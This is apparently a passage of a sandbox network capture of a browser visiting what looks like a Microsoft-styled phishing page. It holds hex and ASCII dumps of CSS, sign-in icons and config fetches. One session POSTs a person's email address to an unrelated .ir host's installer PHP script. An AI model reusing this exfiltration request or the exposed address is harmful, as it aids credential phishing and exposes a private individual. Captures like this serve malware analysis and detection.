mirror=1)"; -webkit-transform: scale(-1, 1); -ms-transform: scale(-1, 1); transform: scale(-1, 1);}.fa-flip-vertical { -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=
2023-11-28 15:55:28 UTC	1369	IN	Data Raw: 2d 6c 61 72 67 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 30 39 22 3b 0a 7d 0a 2e 66 61 2d 74 68 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 30 61 22 3b 0a 7d 0a 2e 66 61 2d 74 68 2d 6c 69 73 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 30 62 22 3b 0a 7d 0a 2e 66 61 2d 63 68 65 63 6b 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 30 63 22 3b 0a 7d 0a 2e 66 61 2d 72 65 6d 6f 76 65 3a 62 65 66 6f 72 65 2c 0a 2e 66 61 2d 63 6c 6f 73 65 3a 62 65 66 6f 72 65 2c 0a 2e 66 61 2d 74 69 6d 65 73 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 30 64 22 3b 0a 7d 0a 2e 66 61 2d 73 65 61 72 63 68 2d 70 6c 75 73 3a 62 Data Ascii: -large:before { content: "\f009";}.fa-th:before { content: "\f00a";}.fa-th-list:before { content: "\f00b";}.fa-check:before { content: "\f00c";}.fa-remove:before,.fa-close:before,.fa-times:before { content: "\f00d";}.fa-search-plus:b
2023-11-28 15:55:28 UTC	1369	IN	Data Raw: 74 65 6e 74 3a 20 22 5c 66 30 32 39 22 3b 0a 7d 0a 2e 66 61 2d 62 61 72 63 6f 64 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 32 61 22 3b 0a 7d 0a 2e 66 61 2d 74 61 67 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 32 62 22 3b 0a 7d 0a 2e 66 61 2d 74 61 67 73 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 32 63 22 3b 0a 7d 0a 2e 66 61 2d 62 6f 6f 6b 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 32 64 22 3b 0a 7d 0a 2e 66 61 2d 62 6f 6f 6b 6d 61 72 6b 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 32 65 22 3b 0a 7d 0a 2e 66 61 2d 70 72 69 6e 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c Data Ascii: tent: "\f029";}.fa-barcode:before { content: "\f02a";}.fa-tag:before { content: "\f02b";}.fa-tags:before { content: "\f02c";}.fa-book:before { content: "\f02d";}.fa-bookmark:before { content: "\f02e";}.fa-print:before { content: "\
2023-11-28 15:55:28 UTC	1369	IN	Data Raw: 74 65 70 2d 62 61 63 6b 77 61 72 64 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 34 38 22 3b 0a 7d 0a 2e 66 61 2d 66 61 73 74 2d 62 61 63 6b 77 61 72 64 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 34 39 22 3b 0a 7d 0a 2e 66 61 2d 62 61 63 6b 77 61 72 64 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 34 61 22 3b 0a 7d 0a 2e 66 61 2d 70 6c 61 79 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 34 62 22 3b 0a 7d 0a 2e 66 61 2d 70 61 75 73 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 34 63 22 3b 0a 7d 0a 2e 66 61 2d 73 74 6f 70 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 34 64 22 3b Data Ascii: tep-backward:before { content: "\f048";}.fa-fast-backward:before { content: "\f049";}.fa-backward:before { content: "\f04a";}.fa-play:before { content: "\f04b";}.fa-pause:before { content: "\f04c";}.fa-stop:before { content: "\f04d";
2023-11-28 15:55:28 UTC	1369	IN	Data Raw: 6e 74 3a 20 22 5c 66 30 36 37 22 3b 0a 7d 0a 2e 66 61 2d 6d 69 6e 75 73 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 36 38 22 3b 0a 7d 0a 2e 66 61 2d 61 73 74 65 72 69 73 6b 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 36 39 22 3b 0a 7d 0a 2e 66 61 2d 65 78 63 6c 61 6d 61 74 69 6f 6e 2d 63 69 72 63 6c 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 36 61 22 3b 0a 7d 0a 2e 66 61 2d 67 69 66 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 36 62 22 3b 0a 7d 0a 2e 66 61 2d 6c 65 61 66 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 36 63 22 3b 0a 7d 0a 2e 66 61 2d 66 69 72 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 Data Ascii: nt: "\f067";}.fa-minus:before { content: "\f068";}.fa-asterisk:before { content: "\f069";}.fa-exclamation-circle:before { content: "\f06a";}.fa-gift:before { content: "\f06b";}.fa-leaf:before { content: "\f06c";}.fa-fire:before { c
2023-11-28 15:55:28 UTC	1369	IN	Data Raw: 66 61 2d 74 68 75 6d 62 73 2d 6f 2d 75 70 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 38 37 22 3b 0a 7d 0a 2e 66 61 2d 74 68 75 6d 62 73 2d 6f 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 38 38 22 3b 0a 7d 0a 2e 66 61 2d 73 74 61 72 2d 68 61 6c 66 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 38 39 22 3b 0a 7d 0a 2e 66 61 2d 68 65 61 72 74 2d 6f 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 38 61 22 3b 0a 7d 0a 2e 66 61 2d 73 69 67 6e 2d 6f 75 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 38 62 22 3b 0a 7d 0a 2e 66 61 2d 6c 69 6e 6b 65 64 69 6e 2d 73 71 75 61 72 65 3a 62 65 66 6f 72 65 20 7b Data Ascii: fa-thumbs-o-up:before { content: "\f087";}.fa-thumbs-o-down:before { content: "\f088";}.fa-star-half:before { content: "\f089";}.fa-heart-o:before { content: "\f08a";}.fa-sign-out:before { content: "\f08b";}.fa-linkedin-square:before {

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49726	23.221.242.90	443

Timestamp	Bytes transferred	Direction	Data
2023-11-28 15:55:28 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2023-11-28 15:55:28 UTC	435	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 41 70 69 56 65 72 73 69 6f 6e 3a 20 44 69 73 74 72 69 62 75 74 65 20 31 2e 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 61 74 74 61 63 68 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 63 6f 6e 66 69 67 2e 6a 73 6f 6e 3b 20 66 69 6c 65 6e 61 6d 65 2a 3d 55 54 46 2d 38 27 27 63 6f 6e 66 69 67 2e 6a 73 6f 6e 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 45 54 61 67 3a 20 22 30 78 36 34 36 36 37 46 37 30 37 46 46 30 37 44 36 32 42 37 33 33 44 42 43 42 37 39 45 46 45 33 38 35 35 45 36 38 38 36 43 39 39 37 35 42 30 43 30 42 34 36 37 44 34 36 32 33 31 42 33 46 41 35 45 37 22 0d 0a 4c 61 73 74 2d 4d 6f 64 69 Data Ascii: HTTP/1.1 200 OKApiVersion: Distribute 1.1Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.jsonContent-Type: application/octet-streamETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7"Last-Modi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49725	13.107.246.40	443	3524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-28 15:55:28 UTC	622	OUT	GET /shared/1.0/content/images/picker_verify_call_fe87496cc7a44412f7893a72099c120a.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2023-11-28 15:55:28 UTC	753	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 54 75 65 2c 20 32 38 20 4e 6f 76 20 32 30 32 33 20 31 35 3a 35 35 3a 32 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 31 37 33 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 46 72 69 2c 20 31 37 20 4a 61 6e 20 32 30 32 30 20 31 39 3a 32 38 3a 33 39 20 47 4d 54 0d 0a 45 54 61 67 3a 20 30 78 38 44 37 39 42 38 33 37 34 39 36 32 Data Ascii: HTTP/1.1 200 OKDate: Tue, 28 Nov 2023 15:55:28 GMTContent-Type: image/svg+xmlContent-Length: 1173Connection: closeCache-Control: public, max-age=31536000Content-Encoding: gzipLast-Modified: Fri, 17 Jan 2020 19:28:39 GMTETag: 0x8D79B8374962
2023-11-28 15:55:28 UTC	1173	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 75 56 cb 6e 24 37 0c fc 95 c1 e4 da ad 69 52 d4 2b b0 0d 4c 4e 39 ac 6f 41 0e b9 35 b2 b3 1e 03 8e bd b3 6e 78 f6 f3 53 14 a5 de 6c dc 86 dd 25 5b d4 83 2a 16 29 dd bc be 3d ec be ff f3 f4 fc 7a bb 3f 2f cb d7 5f 0f 87 eb f5 ea ae de bd 7c 7b 38 f0 34 4d 07 8c d8 ef ae 8f 9f 97 f3 ed 5e f2 7e 77 3e 3d 3e 9c 17 fb fb ed f1 74 fd ed e5 fb ed 7e da 4d 3b c9 f8 dd df dd 2c 8f cb d3 e9 6e 7e 7d 3d 2d af 37 07 fb ef e6 db e9 ef e5 a3 55 be 3c 3e 3d dd ee 9f 5f 9e 4f fb c3 dd cd d7 79 39 ef 3e df ee ef fd e4 84 79 e0 e2 a6 c2 b3 77 52 fc 60 38 e1 87 06 72 9e c5 71 24 f4 fa dc b1 db c8 b3 4b 52 2e ce c7 58 bf cc c9 a5 14 16 57 a4 b8 1c e4 e2 24 67 27 22 e8 20 57 3c cf c5 95 24 83 a1 2d e3 32 95 81 8e 18 12 68 30 34 83 4f 83 17 97 7c Data Ascii: uVn$7iR+LN9oA5nxSl%[*)=z?/_\|{84M^~w>=>t~M;,n~}=-7U<>=_Oy9>ywR`8rq$KR.XW$g'" W<$-2h04O\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49723	13.107.246.40	443	3524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-28 15:55:28 UTC	621	OUT	GET /shared/1.0/content/images/picker_verify_sms_27a6d18b56f46818420e60a773c36d4e.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2023-11-28 15:55:28 UTC	752	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 54 75 65 2c 20 32 38 20 4e 6f 76 20 32 30 32 33 20 31 35 3a 35 35 3a 32 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 39 39 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 46 72 69 2c 20 31 37 20 4a 61 6e 20 32 30 32 30 20 31 39 3a 32 38 3a 33 39 20 47 4d 54 0d 0a 45 54 61 67 3a 20 30 78 38 44 37 39 42 38 33 37 34 43 45 37 46 Data Ascii: HTTP/1.1 200 OKDate: Tue, 28 Nov 2023 15:55:28 GMTContent-Type: image/svg+xmlContent-Length: 199Connection: closeCache-Control: public, max-age=31536000Content-Encoding: gzipLast-Modified: Fri, 17 Jan 2020 19:28:39 GMTETag: 0x8D79B8374CE7F
2023-11-28 15:55:28 UTC	199	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 75 8f bd ae c2 30 0c 85 5f 25 32 6b d5 38 3f 88 80 92 0e 77 ea 00 6b 87 bb 21 08 4d a4 d2 22 62 35 3c fe 4d 2e 62 44 b6 e4 63 fb d3 b1 6c d3 3a b2 d7 7d 9a 93 83 40 f4 38 70 9e 73 6e b3 6a 97 e7 c8 25 22 f2 42 00 cb f1 4a c1 81 36 c0 82 8f 63 a0 b7 5e a3 cf 3f cb cb 01 32 64 da 94 84 ce 52 a4 c9 77 e7 94 3c 25 cb df 9d 7d fa 0b 7d 73 b9 c5 69 72 30 2f b3 07 de d9 c7 99 02 bb 3a 38 29 d3 28 1c 84 ec 05 0e 0a 83 5e 75 bb dd 99 a3 30 b5 94 55 af cc 49 c8 46 c9 de 0c 02 7b 5d a8 c2 ee 5b 2d e5 b1 ce ff d5 ef c7 7e a3 b1 46 bd 50 5f ea fe 00 a3 0d 47 ef fa 00 00 00 Data Ascii: u0_%2k8?wk!M"b5<M.bDcl:}@8psnj%"BJ6c^?2dRw<%}}sir0/:8)(^u0UIF{][-~FP_G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49724	13.107.246.40	443	3524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-28 15:55:28 UTC	638	OUT	GET /shared/1.0/content/images/picker_verify_fluent_authenticator_b59c16ca9bf156438a8a96d45e33db64.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2023-11-28 15:55:28 UTC	753	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 54 75 65 2c 20 32 38 20 4e 6f 76 20 32 30 32 33 20 31 35 3a 35 35 3a 32 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 34 30 37 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 46 72 69 2c 20 31 31 20 4d 61 72 20 32 30 32 32 20 31 31 3a 31 31 3a 32 39 20 47 4d 54 0d 0a 45 54 61 67 3a 20 30 78 38 44 41 30 33 34 46 45 34 34 35 43 Data Ascii: HTTP/1.1 200 OKDate: Tue, 28 Nov 2023 15:55:28 GMTContent-Type: image/svg+xmlContent-Length: 2407Connection: closeCache-Control: public, max-age=31536000Content-Encoding: gzipLast-Modified: Fri, 11 Mar 2022 11:11:29 GMTETag: 0x8DA034FE445C
2023-11-28 15:55:28 UTC	2407	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed 59 3d 73 dd 38 12 cc af ea fe 03 eb 6d 72 17 88 02 66 f0 79 b5 ba e0 98 38 a0 52 05 ca ec 95 6c ab 4e 6b bb 6c af b5 3f ff ba 07 e0 7b 24 94 6c 7c 65 27 7a 4d 02 33 c3 c1 a0 a7 01 ff fa ed c7 87 e9 e5 e9 e1 fb c7 9b 53 28 a7 e9 e3 e3 d3 87 8f df db ef 1f 4f 8f 2f ff f9 fc e7 cd c9 4d 6e 0a 65 e2 b3 f7 4f cf cf 37 a7 4f 9f 3f 3d 9e a6 3f 7f 7f fe f4 ed e6 f4 f1 fb f7 2f ff ba be 7e 79 79 99 5f 74 fe fc f5 c3 b5 38 e7 ae 61 f8 f4 ef bf ff ed d7 df df 7e fb ef f4 f4 00 2b f9 9d 24 a7 e1 2a a6 b7 7a 15 ea 83 5c 95 f7 92 ae 7e cb ef 4a 78 7c 17 1e 1f 1f c2 e6 e0 97 f7 f6 cf 0c 7c 79 fb fd a3 3d be fa fa c7 f3 e3 cd e9 f1 c7 e3 a7 cf 0f 0f a7 e9 b7 e7 a7 2f e3 33 f8 b9 15 9d 6b 4e 32 b9 c5 a7 b9 48 08 08 df 3b 3c 73 79 8a b3 04 Data Ascii: Y=s8mrfy8RlNkl?{$l\|e'zM3S(O/MneO7O?=?/~yy_t8a~+$*z\~Jx\|\|y=/3kN2H;<sy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49727	172.245.92.82	443	3524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-28 15:55:28 UTC	606	OUT	POST /installer/host2.4/5777440.php HTTP/1.1 Host: admin.childdent.ir Connection: keep-alive Content-Length: 25 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2023-11-28 15:55:28 UTC	25	OUT	Data Raw: 65 6d 3d 6d 61 74 74 62 25 34 30 72 64 76 63 6f 72 70 2e 63 6f 6d 25 30 41 Data Ascii: em=mattb%40rdvcorp.com%0A
2023-11-28 15:55:28 UTC	475	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 54 75 65 2c 20 32 38 20 4e 6f 76 20 32 30 32 33 20 31 35 3a 35 35 3a 32 38 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 54 68 75 2c 20 31 39 20 4e 6f 76 20 31 39 38 31 20 30 38 3a 35 32 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 43 72 65 64 65 6e 74 69 61 6c 73 3a 20 74 72 75 65 0d 0a 41 63 63 Data Ascii: HTTP/1.1 200 OKDate: Tue, 28 Nov 2023 15:55:28 GMTServer: ApacheExpires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheAccess-Control-Allow-Origin: *Access-Control-Allow-Credentials: trueAcc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49728	23.221.242.90	443

Timestamp	Bytes transferred	Direction	Data
2023-11-28 15:55:28 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2023-11-28 15:55:28 UTC	773	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 54 75 65 2c 20 31 36 20 4d 61 79 20 32 30 31 37 20 32 32 3a 35 38 3a 30 30 20 47 4d 54 0d 0a 45 54 61 67 3a 20 22 30 78 36 34 36 36 37 46 37 30 37 46 46 30 37 44 36 32 42 37 33 33 44 42 43 42 37 39 45 46 45 33 38 35 35 45 36 38 38 36 43 39 39 37 35 42 30 43 30 42 34 36 37 44 34 36 32 33 31 42 33 46 41 35 45 37 22 0d 0a 41 70 69 56 65 72 73 69 6f 6e 3a 20 44 69 73 74 72 69 62 75 74 65 20 31 2e 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 61 74 74 61 63 68 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 63 6f 6e 66 69 67 2e 6a 73 6f 6e 3b 20 66 69 6c 65 6e 61 6d 65 2a 3d 55 54 46 2d 38 27 27 63 6f 6e 66 69 67 2e 6a 73 6f 6e 0d 0a 58 2d 43 Data Ascii: HTTP/1.1 200 OKLast-Modified: Tue, 16 May 2017 22:58:00 GMTETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7"ApiVersion: Distribute 1.1Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.jsonX-C
2023-11-28 15:55:28 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49729	13.107.246.40	443	3524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-28 15:55:29 UTC	438	OUT	GET /shared/1.0/content/images/picker_verify_fluent_authenticator_b59c16ca9bf156438a8a96d45e33db64.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2023-11-28 15:55:29 UTC	753	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 54 75 65 2c 20 32 38 20 4e 6f 76 20 32 30 32 33 20 31 35 3a 35 35 3a 32 39 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 34 30 37 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 46 72 69 2c 20 31 31 20 4d 61 72 20 32 30 32 32 20 31 31 3a 31 31 3a 32 39 20 47 4d 54 0d 0a 45 54 61 67 3a 20 30 78 38 44 41 30 33 34 46 45 34 34 35 43 Data Ascii: HTTP/1.1 200 OKDate: Tue, 28 Nov 2023 15:55:29 GMTContent-Type: image/svg+xmlContent-Length: 2407Connection: closeCache-Control: public, max-age=31536000Content-Encoding: gzipLast-Modified: Fri, 11 Mar 2022 11:11:29 GMTETag: 0x8DA034FE445C
2023-11-28 15:55:29 UTC	2407	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed 59 3d 73 dd 38 12 cc af ea fe 03 eb 6d 72 17 88 02 66 f0 79 b5 ba e0 98 38 a0 52 05 ca ec 95 6c ab 4e 6b bb 6c af b5 3f ff ba 07 e0 7b 24 94 6c 7c 65 27 7a 4d 02 33 c3 c1 a0 a7 01 ff fa ed c7 87 e9 e5 e9 e1 fb c7 9b 53 28 a7 e9 e3 e3 d3 87 8f df db ef 1f 4f 8f 2f ff f9 fc e7 cd c9 4d 6e 0a 65 e2 b3 f7 4f cf cf 37 a7 4f 9f 3f 3d 9e a6 3f 7f 7f fe f4 ed e6 f4 f1 fb f7 2f ff ba be 7e 79 79 99 5f 74 fe fc f5 c3 b5 38 e7 ae 61 f8 f4 ef bf ff ed d7 df df 7e fb ef f4 f4 00 2b f9 9d 24 a7 e1 2a a6 b7 7a 15 ea 83 5c 95 f7 92 ae 7e cb ef 4a 78 7c 17 1e 1f 1f c2 e6 e0 97 f7 f6 cf 0c 7c 79 fb fd a3 3d be fa fa c7 f3 e3 cd e9 f1 c7 e3 a7 cf 0f 0f a7 e9 b7 e7 a7 2f e3 33 f8 b9 15 9d 6b 4e 32 b9 c5 a7 b9 48 08 08 df 3b 3c 73 79 8a b3 04 